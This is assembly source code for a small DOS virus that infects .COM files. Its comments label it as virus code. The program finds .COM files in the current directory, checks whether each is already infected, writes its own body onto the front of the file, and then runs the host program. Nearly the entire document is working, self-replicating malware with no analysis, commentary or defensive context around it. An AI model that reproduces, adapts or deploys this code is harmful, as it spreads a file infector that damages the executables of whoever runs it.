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tic             segment
                org     100h
                assume  cs:tic, ds:tic, es:tic
len     equ     offset last-100h        ;LENGTH OF VIRUS CODE
start:          mov     bx,0fh          ;KLUDGE TO AVOID MEMALLOC ERROR
                mov     ah,4ah
                int     21h
                mov     dx,es
                add     dh,10h
                mov     es,dx           ;PROGRAM CODE WILL RUN HERE
                push    dx              ;SET UP FOR FAR RETURN
                push    si
                mov     ah,26h          ;CREATE NEW PSP
                int     21h
                mov     di,si
                mov     si,offset last
                push    si
                mov     ch,0feh
                rep     movsb           ;MOVE PROGRAM CODE UP
                dec     cx              ;=FFFF
                pop     di
                mov     dx,offset file
                mov     ah,4eh          ;FIND FIRST .COM FILE
                jmp     short find
retry:          mov     ah,4fh          ;FIND NEXT
find:           int     21h
                jc      nofile          ;NO (MORE) FILES
                mov     dx,9eh          ;FILE NAME IN DTA
                mov     ax,3d02h        ;OPEN FILE
                int     21h
                xchg    ax,bx           ;1-BYTE MOVE OF AXBX
                mov     dx,di           ;END OF VIRUS CODE
                mov     ah,3fh          ;READ FILE DATA (CX=FFFF)
                int     21h             ;READ FILE AFTER VIRUS CODE
                add     ax,len          ;LENGTH OF VIRUS+FILE
                cmp     byte ptr [di],0bbh    ;CHECK IF ALREADY INFECTED
                je      retry           ;TRY AGAIN
                push    ax
                xor     cx,cx
                mov     ax,4200h        ;RESET FILE POINTER
                cwd                     ;DX=0
                int     21h
                pop     cx
                mov     dh,1
                mov     ah,40h          ;WRITE INFECTED CODE BACK
                int     21h
nofile:         push    es              ;GO RUN PROGRAM
                pop     ds
file    db      '*.COM',0               ;SEARCH FOR .COM FILES
last    db      0c3h                    ;STANDALONE VIRUS CODE JUST RETURNS
tic             ends
                end     start